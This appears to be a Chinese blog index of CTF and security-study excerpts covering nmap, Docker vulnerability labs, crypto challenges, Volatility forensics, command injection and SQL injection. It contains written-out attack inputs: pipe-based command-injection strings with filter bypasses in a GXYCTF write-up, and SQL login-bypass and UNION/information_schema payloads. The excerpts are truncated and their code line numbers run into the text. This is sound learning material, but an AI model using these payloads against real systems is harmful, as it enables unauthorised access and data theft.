漏洞扫描工具
xray简介 - xray 安全评估工具文档
nmap使用
nmap是一个免费开放的网络扫描和嗅探的工具包,也叫网络映射器.
nmap强大之处在于简单.易用. 看一下nmap的基本功能
探测一组主机是否在线
扫描主机端口,嗅探所提供的网络服务.
推断出主机所用的操作系统
丰富的脚本功能
123456789101112-A :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式. --exclude : 排除指定的地址 例: nmap 192.168.1.0/24 --exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描,--excludefile : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描,-iL : 扫描一个列表文件 例 nmap -iL list.txt-sP : Ping扫描,效率高,返回信息少. 例: nmap -sP 192.168.1.110 -sV : 版本 ...
docker简单使用
安装docker-compose命令1234apt upgradepip3 install docker-composedocker-compose -v
开启漏洞环境1234cd /django/CVE-2020-9402sudo docker-compose build #将镜像拉到本地sudo docker-compose up -d#启动漏洞环境cat 阅读README文件,README文件中含有此项漏洞环境中的所有信息,包括但不限于漏洞介绍、搭建命令、访问方式以及测试验证指南
分组密码DES
substitution123456from secret import flagimport randoms=0x1869f0random.seed(s)print(''.join(random.sample(flag,len(flag))))#9lf5c7504fbea330accg{c-8d6-62e-ef}3aa-d3-34
random.sample函数random.sample(sequence, k),从指定序列中随机获取指定长度的片断。sample函数不会修改原有序列
所以random.sample(flag,len(flag))就会将flag随机打乱 (不是真正的随机)
这一题的random有种子,所以我们可以还原出是如何打乱的
1234567891011121314151617181920import randoms=0x1869f0random.seed(s)m=[]for i in range(0,43): m.append(i)m1=random.sample(m,len(m))print(m1)t= ...
misc内存取证
volatility安装我是用kali安装的https://www.volatilityfoundation.org/releases
看下kali的环境变量 echo $PATH
可能会没有权限改名terminal中用root用户使用mv指令然后也用mv指令把刚才改名的那一个移动到任意一个环境变量中即可mv /usr/local/sbin/volatility_2.6_lin64_standalone volatility这就可以用了
volatility使用获取镜像基本信息volatility -f ./memory imageinfo
命令执行漏洞
管道符Windows系例支持的管道符如下所示。
“|”:直接执行后面的语句。例如:ping 127.0.0.1|whoami。
“||”:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2||whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
Linux系统支持的管道符如下所示。
“;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami。
“|”:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami。
“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1||whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
“& ...
命令执行题目
[GXYCTF2019]Ping Ping Pingping 127.0.0.1 正常
?ip=127.0.0.1|ls
?ip=127.0.0.1|cat flag.php过滤了空格
?ip=127.0.0.1|cat${IFS}flag.php没绕过,可能过滤了{ 或者$
?ip=127.0.0.1|cat$IFS$1flag.php绕过了,但是应该过滤了flag
?ip=127.0.0.1|cat$IFS$1fla?.php还是不行,问好应该也被过滤了
那先看下index.php吧
12345678910111213141516171819/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\ ...
流密码
Replay12345678910111213141516from Crypto.Cipher import ARC4from os import *from secret import flagkey=urandom(10)def Rc4_Encrypt(msg,key): Rc4=ARC4.new(key) return Rc4.encrypt(msg).hex()hint=b'do you know how to recover the keystream?'print(Rc4_Encrypt(hint,key))#56c36031c2d6455ced3eed3f267251a023478f493c3fc567956869930483b0334a1b4bf4c74eda8151print(Rc4_Encrypt(flag,key))#54c0212fd6c05154e265a82c767c16e26e1a9c036b6cce72932f79de0dd0f66f1a5a0cb9d756
RC4已知明文攻击
123456789from binasci ...
SQL注入题
极客大挑战2019-LoveSQL1、万能密码: ' or 1=1#
2、查列数:' or 1=1 order by 1#' or 1=1 order by 2#' or 1=1 order by 3#' or 1=1 order by 4#
4的时候报错,所以有三列
3查数据库:-1'union select 1,2,database()#
为什么这里不用万能密码了呢?因为不需要,井号已经把查询密码的注释掉了前面的-1是干什么用的呢?因为我们看到它只能显示出两条数据,一个是用户名,一个是密码。所以这个-1就是让这个查不出来(也可以是其他的比如1),这个再union注入那里有写至于为什么出来了2,而1没有出来,我也不太清楚
所以查出来数据库是geek
4、查表-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#其实上一步查数据库是可以省略的,因为直接where table_ ...
sql注入和sqlmap的使用
还是有点乱,有时间会把弄好的
常见的SQL注入有数字型注入、Union注入、字符型注入、布尔盲注、时间注入、报错注入和堆叠注入
浏览器会自动将URI中的特殊字符进行URL编码,服务器收到请求后会自动进行URL解码
万能密码SELECT username, password FROM users WHERE username='' or 1=1 -- AND password='anything用户的输入用户名为' or 1=1 #,密码为任意值即可或者' or 1=1 --+' ,加号会转义成空格
information_schema数据库
1、查看数据库名select schema_name from information_schema.schemata;
2、查看表名select table_name from information_schema.tables where table_schema='security';这个security是上一步查出来的数据库名称
3、查看列名select column_ ...